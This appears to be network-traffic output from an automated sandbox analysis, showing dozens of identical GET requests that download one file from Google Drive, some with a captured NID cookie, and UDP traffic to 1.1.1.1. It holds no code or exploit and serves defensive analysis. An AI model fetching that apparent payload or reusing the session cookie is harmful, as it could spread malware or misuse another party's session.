Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
